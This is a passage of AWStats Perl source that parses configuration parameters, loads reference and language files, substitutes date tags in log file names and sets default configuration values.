$conflinenb in file '$configFile'. Config line is ignored." ); next; } if ( !defined $value ) { warning( "Warning: Syntax error line $conflinenb in file '$configFile'. Config line is ignored." ); next; } if ($value) { $value =~ s/^\s+//; $value =~ s/\s+$//; $value =~ s/^\"//; $value =~ s/\";?$//; # Replace __MONENV__ with value of environnement variable MONENV # Must be able to replace __VAR_1____VAR_2__ while ( $value =~ /__([^\s_]+(?:_[^\s_]+)*)__/ ) { my $var = $1; $value =~ s/__${var}__/$ENV{$var}/g; } } # Initialize parameter for (param,value) if ( $param =~ /^LogFile/ ) { if ( $QueryString !~ /logfile=([^\s&]+)/i ) { $LogFile = $value; } next; } if ( $param =~ /^DirIcons/ ) { if ( $QueryString !~ /diricons=([^\s&]+)/i ) { $DirIcons = $value; } next; } if ( $param =~ /^SiteDomain/ ) { # No regex test as SiteDomain is always exact value $SiteDomain = $value; if ($SiteDomain =~ m/xn--/) { # TODO Add code to test if IDNA::Punycode module is on #use IDNA::Punycode; $DecodePunycode=0; # Set to 1 if module is on if ($DecodePunycode) { idn_prefix(undef); my @parts = split(/\./, $SiteDomain); foreach (@parts) { if ($_ =~ s/^xn--//) { eval { $_ = decode_punycode($_); }; if (my $e = $@) { $_ = $e; } } } $SiteDomain = join('.', @parts); } } next; } if ( $param =~ /^AddLinkToExternalCGIWrapper/ ) { # No regex test as AddLinkToExternalCGIWrapper is always exact value $AddLinkToExternalCGIWrapper = $value; next; } if ( $param =~ /^HostAliases/ ) { @HostAliases = (); foreach my $elem ( split( /\s+/, $value ) ) { if ( $elem =~ s/^\@// ) { # If list of hostaliases in a file open( DATAFILE, "<$elem" ) || error( "Failed to open file '$elem' declared in HostAliases parameter" ); my @val = map( /^(.*)$/i, <DATAFILE> ); push @HostAliases, map { qr/^$_$/i } @val; close(DATAFILE); } else { if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; } else { $elem = '^' . quotemeta($elem) . '$'; } if ($elem) { push @HostAliases, qr/$elem/i; } } } next; } # Special optional setup params if ( $param =~ /^SkipDNSLookupFor/ ) { @SkipDNSLookupFor = (); foreach my $elem ( split( /\s+/, $value ) ) { if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; } else { $elem = '^' . quotemeta($elem) . '$'; } if ($elem) { push @SkipDNSLookupFor, qr/$elem/i; } } next; } if ( $param =~ /^AllowAccessFromWebToFollowingAuthenticatedUsers/ ) { @AllowAccessFromWebToFollowingAuthenticatedUsers = (); foreach ( split( /\s+/, $value ) ) { push @AllowAccessFromWebToFollowingAuthenticatedUsers, $_; } next; } if ( $param =~ /^DefaultFile/ ) { @DefaultFile = (); foreach my $elem ( split( /\s+/, $value ) ) { # No REGEX for this option #if ($elem =~ /^REGEX\[(.*)\]$/i) { $elem=$1; } #else { $elem='^'.quotemeta($elem).'$'; } if ($elem) { push @DefaultFile, $elem; } } next; } if ( $param =~ /^SkipHosts/ ) { @SkipHosts = (); foreach my $elem ( split( /\s+/, $value ) ) { if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; } else { $elem = '^' . quotemeta($elem) . '$'; } if ($elem) { push @SkipHosts, qr/$elem/i; } } next; } if ( $param =~ /^SkipReferrersBlackList/ && $value ) { open( BLACKLIST, "<$value" ) || die "Failed to open blacklist: $!\n"; while (<BLACKLIST>) { chomp; my $elem = $_; $elem =~ s/ //; $elem =~ s/\#.*//; if ($elem) { push @SkipReferrers, qr/$elem/i; } } next; close(BLACKLIST); } if ( $param =~ /^SkipUserAgents/ ) { @SkipUserAgents = (); foreach my $elem ( split( /\s+/, $value ) ) { if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; } else { $elem = '^' . quotemeta($elem) . '$'; } if ($elem) { push @SkipUserAgents, qr/$elem/i; } } next; } if ( $param =~ /^SkipFiles/ ) { @SkipFiles = (); foreach my $elem ( split( /\s+/, $value ) ) { if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; } else { $elem = '^' . quotemeta($elem) . '$'; } if ($elem) { push @SkipFiles, qr/$elem/i; } } next; } if ( $param =~ /^OnlyHosts/ ) { @OnlyHosts = (); foreach my $elem ( split( /\s+/, $value ) ) { if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; } else { $elem = '^' . quotemeta($elem) . '$'; } if ($elem) { push @OnlyHosts, qr/$elem/i; } } next; } if ( $param =~ /^OnlyUsers/ ) { @OnlyUsers = (); foreach my $elem ( split( /\s+/, $value ) ) { if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; } else { $elem = '^' . quotemeta($elem) . '$'; } if ($elem) { push @OnlyUsers, qr/$elem/i; } } next; } if ( $param =~ /^OnlyUserAgents/ ) { @OnlyUserAgents = (); foreach my $elem ( split( /\s+/, $value ) ) { if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; } else { $elem = '^' . quotemeta($elem) . '$'; } if ($elem) { push @OnlyUserAgents, qr/$elem/i; } } next; } if ( $param =~ /^OnlyFiles/ ) { @OnlyFiles = (); foreach my $elem ( split( /\s+/, $value ) ) { if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; } else { $elem = '^' . quotemeta($elem) . '$'; } if ($elem) { push @OnlyFiles, qr/$elem/i; } } next; } if ( $param =~ /^NotPageFiles/ ) { @NotPageFiles = (); foreach my $elem ( split( /\s+/, $value ) ) { if ( $elem =~ /^REGEX\[(.*)\]$/i ) { $elem = $1; } else { $elem = '^' . quotemeta($elem) . '$'; } if ($elem) { push @NotPageFiles, qr/$elem/i; } } next; } if ( $param =~ /^NotPageList/ ) { %NotPageList = (); foreach ( split( /\s+/, $value ) ) { $NotPageList{$_} = 1; } $FoundNotPageList = 1; next; } if ( $param =~ /^ValidHTTPCodes/ ) { %ValidHTTPCodes = (); foreach ( split( /\s+/, $value ) ) { $ValidHTTPCodes{$_} = 1; } next; } if ( $param =~ /^ValidSMTPCodes/ ) { %ValidSMTPCodes = (); foreach ( split( /\s+/, $value ) ) { $ValidSMTPCodes{$_} = 1; } next; } if ( $param =~ /^TrapInfosForHTTPErrorCodes/ ) { %TrapInfosForHTTPErrorCodes = (); foreach ( split( /\s+/, $value ) ) { $TrapInfosForHTTPErrorCodes{$_} = 1; } next; } if ( $param =~ /^URLWithQueryWithOnlyFollowingParameters$/ ) { @URLWithQueryWithOnly = split( /\s+/, $value ); next; } if ( $param =~ /^URLWithQueryWithoutFollowingParameters$/ ) { @URLWithQueryWithout = split( /\s+/, $value ); next; } # Extra parameters if ( $param =~ /^ExtraSectionName(\d+)/ ) { $ExtraName[$1] = $value; next; } if ( $param =~ /^ExtraSectionCodeFilter(\d+)/ ) { @{ $ExtraCodeFilter[$1] } = split( /\s+/, $value ); next; } if ( $param =~ /^ExtraSectionCondition(\d+)/ ) { $ExtraCondition[$1] = $value; next; } if ( $param =~ /^ExtraSectionStatTypes(\d+)/ ) { $ExtraStatTypes[$1] = $value; next; } if ( $param =~ /^ExtraSectionFirstColumnTitle(\d+)/ ) { $ExtraFirstColumnTitle[$1] = $value; next; } if ( $param =~ /^ExtraSectionFirstColumnValues(\d+)/ ) { $ExtraFirstColumnValues[$1] = $value; next; } if ( $param =~ /^ExtraSectionFirstColumnFunction(\d+)/ ) { $ExtraFirstColumnFunction[$1] = $value; next; } if ( $param =~ /^ExtraSectionFirstColumnFormat(\d+)/ ) { $ExtraFirstColumnFormat[$1] = $value; next; } if ( $param =~ /^ExtraSectionAddAverageRow(\d+)/ ) { $ExtraAddAverageRow[$1] = $value; next; } if ( $param =~ /^ExtraSectionAddSumRow(\d+)/ ) { $ExtraAddSumRow[$1] = $value; next; } if ( $param =~ /^MaxNbOfExtra(\d+)/ ) { $MaxNbOfExtra[$1] = $value; next; } if ( $param =~ /^MinHitExtra(\d+)/ ) { $MinHitExtra[$1] = $value; next; } # Plugins if ( $param =~ /^LoadPlugin/ ) { $value =~ s/[^a-zA-Z0-9_\/\.\+:=\?\s%\-]//g; # Sanitize plugin name and string param because it is used later in an eval. push @PluginsToLoad, $value; next; } # Other parameter checks we need to put after MaxNbOfExtra and MinHitExtra if ( $param =~ /^MaxNbOf(\w+)/ ) { $MaxNbOf{$1} = $value; next; } if ( $param =~ /^MinHit(\w+)/ ) { $MinHit{$1} = $value; next; } # Check if this is a known parameter # if (! $ConfOk{$param}) { error("Unknown config parameter '$param' found line $conflinenb in file \"configFile\""); } # If parameters was not found previously, defined variable with name of param to value $$param = $value; } if ($Debug) { debug("Config file read was \"$configFile\" (level $level)"); } } #------------------------------------------------------------------------------ # Function: Load the reference databases # Parameters: List of files to load # Input: $DIR # Output: Arrays and Hash tables are defined # Return: - #------------------------------------------------------------------------------ sub Read_Ref_Data { # Check lib files in common possible directories : # Windows and standard package: "$DIR/lib" (lib in same dir than awstats.pl) # Debian package: "/usr/share/awstats/lib" my @PossibleLibDir = ( "$DIR/lib", "/usr/share/awstats/lib" ); my %FilePath = (); my %DirAddedInINC = (); my @FileListToLoad = (); while ( my $file = shift ) { push @FileListToLoad, "$file.pm"; } if ($Debug) { debug( "Call to Read_Ref_Data with files to load: " . ( join( ',', @FileListToLoad ) ) ); } foreach my $file (@FileListToLoad) { foreach my $dir (@PossibleLibDir) { my $searchdir = $dir; if ( $searchdir && ( !( $searchdir =~ /\/$/ ) ) && ( !( $searchdir =~ /\\$/ ) ) ) { $searchdir .= "/"; } if ( !$FilePath{$file} ) { # To not load twice same file in different path if ( -s "${searchdir}${file}" ) { $FilePath{$file} = "${searchdir}${file}"; if ($Debug) { debug( "Call to Read_Ref_Data [FilePath{$file}=\"$FilePath{$file}\"]" ); } # Note: cygwin perl 5.8 need a push + require file if ( !$DirAddedInINC{"$dir"} ) { push @INC, "$dir"; $DirAddedInINC{"$dir"} = 1; } my $loadret = require "$file"; #my $loadret=(require "$FilePath{$file}"||require "${file}"); } } } if ( !$FilePath{$file} ) { my $filetext = $file; $filetext =~ s/\.pm$//; $filetext =~ s/_/ /g; warning( "Warning: Can't read file \"$file\" ($filetext detection will not work correctly).\nCheck if file is in \"" . ( $PossibleLibDir[0] ) . "\" directory and is readable." ); } } # Sanity check (if loaded) if ( ( scalar keys %OSHashID ) && @OSSearchIDOrder != scalar keys %OSHashID ) { error( "Not same number of records of OSSearchIDOrder (" . (@OSSearchIDOrder) . " entries) and OSHashID (" . ( scalar keys %OSHashID ) . " entries) in OS database. Check your file " . $FilePath{"operating_systems.pm"} ); } if ( ( scalar keys %SearchEnginesHashID ) && ( @SearchEnginesSearchIDOrder_list1 + @SearchEnginesSearchIDOrder_list2 + @SearchEnginesSearchIDOrder_listgen ) != scalar keys %SearchEnginesHashID ) { error( "Not same number of records of SearchEnginesSearchIDOrder_listx (total is " . ( @SearchEnginesSearchIDOrder_list1 + @SearchEnginesSearchIDOrder_list2 + @SearchEnginesSearchIDOrder_listgen ) . " entries) and SearchEnginesHashID (" . ( scalar keys %SearchEnginesHashID ) . " entries) in Search Engines database. Check your file " . $FilePath{"search_engines.pm"} . " is up to date." ); } if ( ( scalar keys %BrowsersHashIDLib ) && @BrowsersSearchIDOrder != ( scalar keys %BrowsersHashIDLib ) - ( scalar keys %BrowsersFamily ) ) { #foreach (sort keys %BrowsersHashIDLib) #{ # print $_."\n"; #} #foreach (sort @BrowsersSearchIDOrder) #{ # print $_."\n"; #} error( "Not same number of records of BrowsersSearchIDOrder (" . (@BrowsersSearchIDOrder) . " entries) and BrowsersHashIDLib (" . ( ( scalar keys %BrowsersHashIDLib ) - ( scalar keys %BrowsersFamily ) ) . " entries without firefox,opera,chrome,safari,konqueror,svn,msie,netscape,edge) in Browsers database. May be you updated AWStats without updating browsers.pm file or you made changed into browsers.pm not correctly. Check your file " . $FilePath{"browsers.pm"} . " is up to date." ); } if ( ( scalar keys %RobotsHashIDLib ) && ( @RobotsSearchIDOrder_list1 + @RobotsSearchIDOrder_list2 + @RobotsSearchIDOrder_listgen ) != ( scalar keys %RobotsHashIDLib ) - 1 ) { error( "Not same number of records of RobotsSearchIDOrder_listx (total is " . ( @RobotsSearchIDOrder_list1 + @RobotsSearchIDOrder_list2 + @RobotsSearchIDOrder_listgen ) . " entries) and RobotsHashIDLib (" . ( ( scalar keys %RobotsHashIDLib ) - 1 ) . " entries without 'unknown') in Robots database. Check your file " . $FilePath{"robots.pm"} . " is up to date." ); } } #------------------------------------------------------------------------------ # Function: Get the messages for a specified language # Parameters: LanguageId # Input: $DirLang $DIR # Output: $Message table is defined in memory # Return: None #------------------------------------------------------------------------------ sub Read_Language_Data { # Check lang files in common possible directories : # Windows and standard package: "$DIR/lang" (lang in same dir than awstats.pl) # Debian package : "/usr/share/awstats/lang" my @PossibleLangDir = ( "$DirLang", "$DIR/lang", "/usr/share/awstats/lang" ); my $FileLang = ''; foreach (@PossibleLangDir) { my $searchdir = $_; if ( $searchdir =~ /\|/ ) # We refuse path that contains "|" { error("DirLang parameter can't contains character |"); next; } if ( $searchdir && ( !( $searchdir =~ /\/$/ ) ) && ( !( $searchdir =~ /\\$/ ) ) ) { $searchdir .= "/"; } if ( open( LANG, "${searchdir}awstats-$_[0].txt" ) ) { $FileLang = "${searchdir}awstats-$_[0].txt"; last; } } # If file not found, we try english if ( !$FileLang ) { foreach (@PossibleLangDir) { my $searchdir = $_; if ( $searchdir && ( !( $searchdir =~ /\/$/ ) ) && ( !( $searchdir =~ /\\$/ ) ) ) { $searchdir .= "/"; } if ( open( LANG, "${searchdir}awstats-en.txt" ) ) { $FileLang = "${searchdir}awstats-en.txt"; last; } } } if ($Debug) { debug("Call to Read_Language_Data [FileLang=\"$FileLang\"]"); } if ($FileLang) { my $i = 0; binmode LANG; # Might avoid 'Malformed UTF-8 errors' my $cregcode = qr/^PageCode=[\t\s\"\']*([\w-]+)/i; my $cregdir = qr/^PageDir=[\t\s\"\']*([\w-]+)/i; my $cregmessage = qr/^Message\d+=/i; while (<LANG>) { chomp $_; s/\r//; if ( $_ =~ /$cregcode/o ) { $PageCode = $1; } if ( $_ =~ /$cregdir/o ) { $PageDir = $1; } if ( $_ =~ s/$cregmessage//o ) { $_ =~ s/^#.*//; # Remove comments $_ =~ s/\s+#.*//; # Remove comments $_ =~ tr/\t / /s; # Change all blanks into " " $_ =~ s/^\s+//; $_ =~ s/\s+$//; $_ =~ s/^\"//; $_ =~ s/\"$//; $Message[$i] = $_; $i++; } } close(LANG); } else { warning( "Warning: Can't find language files for \"$_[0]\". English will be used." ); } # Some language string changes if ( $LogType eq 'M' ) { # For mail $Message[8] = $Message[151]; $Message[9] = $Message[152]; $Message[57] = $Message[149]; $Message[75] = $Message[150]; } if ( $LogType eq 'F' ) { # For web } } #------------------------------------------------------------------------------ # Function: Substitute date tags in a string by value # Parameters: String # Input: All global variables # Output: Change on some global variables # Return: String #------------------------------------------------------------------------------ sub Substitute_Tags { my $SourceString = shift; if ($Debug) { debug("Call to Substitute_Tags on $SourceString"); } my %MonthNumLibEn = ( "01", "Jan", "02", "Feb", "03", "Mar", "04", "Apr", "05", "May", "06", "Jun", "07", "Jul", "08", "Aug", "09", "Sep", "10", "Oct", "11", "Nov", "12", "Dec" ); while ( $SourceString =~ /%([ymdhwYMDHWNSO]+)-($\d+$|\d+)/ ) { # Accept tag %xx-dd and %xx-(dd) my $timetag = "$1"; my $timephase = quotemeta("$2"); my $timephasenb = "$2"; $timephasenb =~ s/[^\d]//g; if ($Debug) { debug( " Found a time tag '$timetag' with a phase of '$timephasenb' hour in log file name", 1 ); } # Get older time my ( $oldersec, $oldermin, $olderhour, $olderday, $oldermonth, $olderyear, $olderwday, $olderyday ) = localtime( $starttime - ( $timephasenb * 3600 ) ); my $olderweekofmonth = int( $olderday / 7 ); my $olderweekofyear = int( ( $olderyday - 1 + 6 - ( $olderwday == 0 ? 6 : $olderwday - 1 ) ) / 7 ) + 1; if ( $olderweekofyear > 53 ) { $olderweekofyear = 1; } my $olderdaymod = $olderday % 7; $olderwday++; my $olderns = Time::Local::timegm( 0, 0, 0, $olderday, $oldermonth, $olderyear ); if ( $olderdaymod <= $olderwday ) { if ( ( $olderwday != 7 ) || ( $olderdaymod != 0 ) ) { $olderweekofmonth = $olderweekofmonth + 1; } } if ( $olderdaymod > $olderwday ) { $olderweekofmonth = $olderweekofmonth + 2; } # Change format of time variables $olderweekofmonth = "0$olderweekofmonth"; if ( $olderweekofyear < 10 ) { $olderweekofyear = "0$olderweekofyear"; } if ( $olderyear < 100 ) { $olderyear += 2000; } else { $olderyear += 1900; } my $oldersmallyear = $olderyear; $oldersmallyear =~ s/^..//; if ( ++$oldermonth < 10 ) { $oldermonth = "0$oldermonth"; } if ( $olderday < 10 ) { $olderday = "0$olderday"; } if ( $olderhour < 10 ) { $olderhour = "0$olderhour"; } if ( $oldermin < 10 ) { $oldermin = "0$oldermin"; } if ( $oldersec < 10 ) { $oldersec = "0$oldersec"; } # Replace tag with new value if ( $timetag eq 'YYYY' ) { $SourceString =~ s/%YYYY-$timephase/$olderyear/ig; next; } if ( $timetag eq 'YY' ) { $SourceString =~ s/%YY-$timephase/$oldersmallyear/ig; next; } if ( $timetag eq 'MM' ) { $SourceString =~ s/%MM-$timephase/$oldermonth/ig; next; } if ( $timetag eq 'MO' ) { $SourceString =~ s/%MO-$timephase/$MonthNumLibEn{$oldermonth}/ig; next; } if ( $timetag eq 'DD' ) { $SourceString =~ s/%DD-$timephase/$olderday/ig; next; } if ( $timetag eq 'HH' ) { $SourceString =~ s/%HH-$timephase/$olderhour/ig; next; } if ( $timetag eq 'NS' ) { $SourceString =~ s/%NS-$timephase/$olderns/ig; next; } if ( $timetag eq 'WM' ) { $SourceString =~ s/%WM-$timephase/$olderweekofmonth/g; next; } if ( $timetag eq 'Wm' ) { my $olderweekofmonth0 = $olderweekofmonth - 1; $SourceString =~ s/%Wm-$timephase/$olderweekofmonth0/g; next; } if ( $timetag eq 'WY' ) { $SourceString =~ s/%WY-$timephase/$olderweekofyear/g; next; } if ( $timetag eq 'Wy' ) { my $olderweekofyear0 = sprintf( "%02d", $olderweekofyear - 1 ); $SourceString =~ s/%Wy-$timephase/$olderweekofyear0/g; next; } if ( $timetag eq 'DW' ) { $SourceString =~ s/%DW-$timephase/$olderwday/g; next; } if ( $timetag eq 'Dw' ) { my $olderwday0 = $olderwday - 1; $SourceString =~ s/%Dw-$timephase/$olderwday0/g; next; } # If unknown tag error("Unknown tag '\%$timetag' in parameter."); } # Replace %YYYY %YY %MM %DD %HH with current value. Kept for backward compatibility. $SourceString =~ s/%YYYY/$nowyear/ig; $SourceString =~ s/%YY/$nowsmallyear/ig; $SourceString =~ s/%MM/$nowmonth/ig; $SourceString =~ s/%MO/$MonthNumLibEn{$nowmonth}/ig; $SourceString =~ s/%DD/$nowday/ig; $SourceString =~ s/%HH/$nowhour/ig; $SourceString =~ s/%NS/$nowns/ig; $SourceString =~ s/%WM/$nowweekofmonth/g; my $nowweekofmonth0 = $nowweekofmonth - 1; $SourceString =~ s/%Wm/$nowweekofmonth0/g; $SourceString =~ s/%WY/$nowweekofyear/g; my $nowweekofyear0 = $nowweekofyear - 1; $SourceString =~ s/%Wy/$nowweekofyear0/g; $SourceString =~ s/%DW/$nowwday/g; my $nowwday0 = $nowwday - 1; $SourceString =~ s/%Dw/$nowwday0/g; return $SourceString; } #------------------------------------------------------------------------------ # Function: Check if all parameters are correctly defined. If not set them to default. # Parameters: None # Input: All global variables # Output: Change on some global variables # Return: None #------------------------------------------------------------------------------ sub Check_Config { if ($Debug) { debug("Call to Check_Config"); } # Show initial values of main parameters before check if ($Debug) { debug( " LogFile='$LogFile'", 2 ); debug( " LogType='$LogType'", 2 ); debug( " LogFormat='$LogFormat'", 2 ); debug( " LogSeparator='$LogSeparator'", 2 ); debug( " DNSLookup='$DNSLookup'", 2 ); debug( " DirData='$DirData'", 2 ); debug( " DirCgi='$DirCgi'", 2 ); debug( " DirIcons='$DirIcons'", 2 ); debug( " NotPageList " . ( join( ',', keys %NotPageList ) ), 2 ); debug( " ValidHTTPCodes " . ( join( ',', keys %ValidHTTPCodes ) ), 2 ); debug( " ValidSMTPCodes " . ( join( ',', keys %ValidSMTPCodes ) ), 2 ); debug( " UseFramesWhenCGI=$UseFramesWhenCGI", 2 ); debug( " BuildReportFormat=$BuildReportFormat", 2 ); debug( " BuildHistoryFormat=$BuildHistoryFormat", 2 ); debug( " URLWithQueryWithOnlyFollowingParameters=" . ( join( ',', @URLWithQueryWithOnly ) ), 2 ); debug( " URLWithQueryWithoutFollowingParameters=" . ( join( ',', @URLWithQueryWithout ) ), 2 ); } # Main section $LogFile = &Substitute_Tags($LogFile); if ( !$LogFile ) { error("LogFile parameter is not defined in config/domain file"); } if ( $LogType !~ /[WSMF]/i ) { $LogType = 'W'; } $LogFormat =~ s/\\//g; if ( !$LogFormat ) { error("LogFormat parameter is not defined in config/domain file"); } if ( $LogFormat =~ /^\d$/ && $LogFormat !~ /[1-6]/ ) { error( "LogFormat parameter is wrong in config/domain file. Value is '$LogFormat' (should be 1,2,3,4,5 or a 'personalized AWStats log format string')" ); } $LogSeparator ||= "\\s"; $DirData ||= '.'; $DirCgi ||= '/cgi-bin'; $DirIcons ||= '/icon'; if ( $DNSLookup !~ /[0-2]/ ) { error( "DNSLookup parameter is wrong in config/domain file. Value is '$DNSLookup' (should be 0,1 or 2)" ); } if ( !$SiteDomain ) { error( "SiteDomain parameter not defined in your config/domain file. You must edit it for using this version of AWStats." ); } if ( $AllowToUpdateStatsFromBrowser !~ /[0-1]/ ) { $AllowToUpdateStatsFromBrowser = 0; } if ( $AllowFullYearView !~ /[0-3]/ ) { $AllowFullYearView = 2; } # Optional setup section if ( !$SectionsToBeSaved ) { $SectionsToBeSaved = 'all'; } if ( $EnableLockForUpdate !~ /[0-1]/ ) { $EnableLockForUpdate = 0; } $DNSStaticCacheFile ||= 'dnscache.txt'; $DNSLastUpdateCacheFile ||= 'dnscachelastupdate.txt'; if ( $DNSStaticCacheFile eq $DNSLastUpdateCacheFile ) { error( "DNSStaticCacheFile and DNSLastUpdateCacheFile must have different values." ); } if ( $AllowAccessFromWebToAuthenticatedUsersOnly !~ /[0-1]/ ) { $AllowAccessFromWebToAuthenticatedUsersOnly = 0; } if ( $CreateDirDataIfNotExists !~ /[0-1]/ ) { $CreateDirDataIfNotExists = 0; } if ( $BuildReportFormat !~ /html|xhtml|xml/i ) { $BuildReportFormat = 'html'; } if ( $BuildHistoryFormat !~ /text|xml/ ) { $BuildHistoryFormat = 'text'; } if ( $SaveDatabaseFilesWithPermissionsForEveryone !~ /[0-1]/ ) { $SaveDatabaseFilesWithPermissionsForEveryone = 0; } if ( $PurgeLogFile !~ /[0-1]/ ) { $PurgeLogFile = 0; } if ( $KeepBackupOfHistoricFiles !~ /[0-1]/ ) { $KeepBackupOfHistoricFiles = 0; } $DefaultFile[0] ||= 'index.html'; if ( $AuthenticatedUsersNotCaseSensitive !~ /[0-1]/ ) { $AuthenticatedUsersNotCaseSensitive = 0; } if ( $URLNotCaseSensitive !~ /[0-1]/ ) { $URLNotCaseSensitive = 0; } if ( $URLWithAnchor !~ /[0-1]/ ) { $URLWithAnchor = 0; } $URLQuerySeparators =~ s/\s//g; if ( !$URLQuerySeparators ) { $URLQuerySeparators = '?;'; } if ( $URLWithQuery !~ /[0-1]/ ) { $URLWithQuery = 0; } if ( $URLReferrerWithQuery !~ /[0-1]/ ) { $URLReferrerWithQuery = 0; } if ( $WarningMessages !~ /[0-1]/ ) { $WarningMessages = 1; } if ( $DebugMessages !~ /[0-1]/ ) { $DebugMessages = 0; } if ( $NbOfLinesForCorruptedLog !~ /^\d+/ || $NbOfLinesForCorruptedLog < 1 ) { $NbOfLinesForCorruptedLog = 50; } if ( $Expires !~ /^\d+/ ) { $Expires = 0; } if ( $DecodeUA !~ /[0-1]/ ) { $DecodeUA = 0; } $MiscTrackerUrl ||= '/js/awstats_misc_tracker.js'; # Optional accuracy setup section if ( $LevelForWormsDetection !~ /^\d+/ ) { $LevelForWormsDetection = 0; } if ( $LevelForRobotsDetection !~ /^\d+/ ) { $LevelForRobotsDetection = 2; } if ( $LevelForBrowsersDetection !~ /^\w+/ ) { $LevelForBrowsersDetection = 2; } # Can be 'allphones' if ( $LevelForOSDetection !~ /^\d+/ ) { $LevelForOSDetection = 2; } if ( $LevelForRefererAnalyze !~ /^\d+/ ) { $LevelForRefererAnalyze = 2; } if ( $LevelForFileTypesDetection !~ /^\d+/ ) { $LevelForFileTypesDetection = 2; } if ( $LevelForSearchEnginesDetection !~ /^\d+/ ) { $LevelForSearchEnginesDetection = 2; } if ( $LevelForKeywordsDetection !~ /^\d+/ ) { $LevelForKeywordsDetection = 2; } # Optional extra setup section foreach my $extracpt ( 1 .. @ExtraName - 1 ) { if ( $ExtraStatTypes[$extracpt] !~ /[PHBL]/ ) { $ExtraStatTypes[$extracpt] = 'PHBL'; } if ( $MaxNbOfExtra[$extracpt] !~ /^\d+$/ || $MaxNbOfExtra[$extracpt] < 0 ) { $MaxNbOfExtra[$extracpt] = 20; } if ( $MinHitExtra[$extracpt] !~ /^\d+$/ || $MinHitExtra[$extracpt] < 1 ) { $MinHitExtra[$extracpt] = 1; } if ( !$ExtraFirstColumnValues[$extracpt] ) { error( "Extra section number $extracpt is defined without ExtraSectionFirstColumnValues$extracpt parameter" ); } if ( !$ExtraFirstColumnFormat[$extracpt] ) { $ExtraFirstColumnFormat[$extracpt] = '%s'; } } # Optional appearance setup section if ( $MaxRowsInHTMLOutput !~ /^\d+/ || $MaxRowsInHTMLOutput < 1 ) { $MaxRowsInHTMLOutput = 1000; } if ( $ShowMenu !~ /[01]/ ) { $ShowMenu = 1; } if ( $ShowSummary !~ /[01UVPHB]/ ) { $ShowSummary = 'UVPHB'; } if ( $ShowMonthStats !~ /[01UVPHB]/ ) { $ShowMonthStats = 'UVPHB'; } if ( $ShowDaysOfMonthStats !~ /[01VPHB]/ ) { $ShowDaysOfMonthStats = 'VPHB'; } if ( $ShowDaysOfWeekStats !~ /[01PHBL]/ ) { $ShowDaysOfWeekStats = 'PHBL'; } if ( $ShowHoursStats !~ /[01PHBL]/ ) { $ShowHoursStats = 'PHBL'; } if ( $ShowDomainsStats !~ /[01PHB]/ ) { $ShowDomainsStats = 'PHB'; } if ( $ShowHostsStats !~ /[01PHBL]/ ) { $ShowHostsStats = 'PHBL'; } if ( $ShowAuthenticatedUsers !~ /[01PHBL]/ ) { $ShowAuthenticatedUsers = 0; } if ( $ShowRobotsStats !~ /[01HBL]/ ) { $ShowRobotsStats = 'HBL'; } if ( $ShowWormsStats !~ /[01HBL]/ ) { $ShowWormsStats = 'HBL'; } if ( $ShowEMailSenders !~ /[01HBML]/ ) { $ShowEMailSenders = 0; } if ( $ShowEMailReceivers !~ /[01HBML]/ ) { $ShowEMailReceivers = 0; } if ( $ShowSessionsStats !~ /[01]/ ) { $ShowSessionsStats = 1; } if ( $ShowPagesStats !~ /[01PBEX]/i ) { $ShowPagesStats = 'PBEX'; } if ( $ShowFileTypesStats !~ /[01HBC]/ ) { $ShowFileTypesStats = 'HB'; } if ( $ShowDownloadsStats !~ /[01HB]/ ) { $ShowDownloadsStats = 'HB';} if ( $ShowFileSizesStats !~ /[01]/ ) { $ShowFileSizesStats = 1; } if ( $ShowOSStats !~ /[01]/ ) { $ShowOSStats = 1; } if ( $ShowBrowsersStats !~ /[01]/ ) { $ShowBrowsersStats = 1; } if ( $ShowScreenSizeStats !~ /[01]/ ) { $ShowScreenSizeStats = 0; } if ( $ShowOriginStats !~ /[01PH]/ ) { $ShowOriginStats = 'PH'; } if ( $ShowKeyphrasesStats !~ /[01]/ ) { $ShowKeyphrasesStats = 1; } if ( $ShowKeywordsStats !~ /[01]/ ) { $ShowKeywordsStats = 1; } if ( $ShowClusterStats !~ /[01PHB]/ ) { $ShowClusterStats = 0; } if ( $ShowMiscStats !~ /[01anjdfrqwp]/ ) { $ShowMiscStats = 'a'; } if ( $ShowHTTPErrorsStats !~ /[01]/ ) { $ShowHTTPErrorsStats = 1; } if ( $ShowHTTPErrorsPageDetail !~ /[RH]/ ) { $ShowHTTPErrorsPageDetail = 'R'; } if ( $ShowSMTPErrorsStats !~ /[01]/ ) { $ShowSMTPErrorsStats = 0; } if ( $AddDataArrayMonthStats !~ /[01]/ ) { $AddDataArrayMonthStats = 1; } if ( $AddDataArrayShowDaysOfMonthStats !~ /[01]/ ) { $AddDataArrayShowDaysOfMonthStats = 1; } if ( $AddDataArrayShowDaysOfWeekStats !~ /[01]/ ) { $AddDataArrayShowDaysOfWeekStats = 1; } if ( $AddDataArrayShowHoursStats !~ /[01]/ ) { $AddDataArrayShowHoursStats = 1; } my @maxnboflist = ( 'Domain', 'HostsShown', 'LoginShown', 'RobotShown', 'WormsShown', 'PageShown', 'OsShown', 'BrowsersShown', 'ScreenSizesShown', 'RefererShown', 'KeyphrasesShown', 'KeywordsShown', 'EMailsShown', 'DownloadsShown' ); my @maxnboflistdefaultval = ( 10, 10, 10, 10, 5, 10, 10, 10, 5, 10, 10, 10, 20 ); foreach my $i ( 0 .. ( @maxnboflist - 1 ) ) { if ( !$MaxNbOf{ $maxnboflist[$i] } || $MaxNbOf{ $maxnboflist[$i] } !~ /^\d+$/ || $MaxNbOf{ $maxnboflist[$i] } < 1 ) { $MaxNbOf{ $maxnboflist[$i] } = $maxnboflistdefaultval[$i]; } } my @minhitlist = ( 'Domain', 'Host', 'Login', 'Robot', 'Worm', 'File', 'Os', 'Browser', 'ScreenSize', 'Refer', 'Keyphrase', 'Keyword', 'EMail', 'Downloads' ); my @minhitlistdefaultval = ( 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ); foreach my $i ( 0 .. ( @minhitlist - 1 ) ) { if ( !$MinHit{ 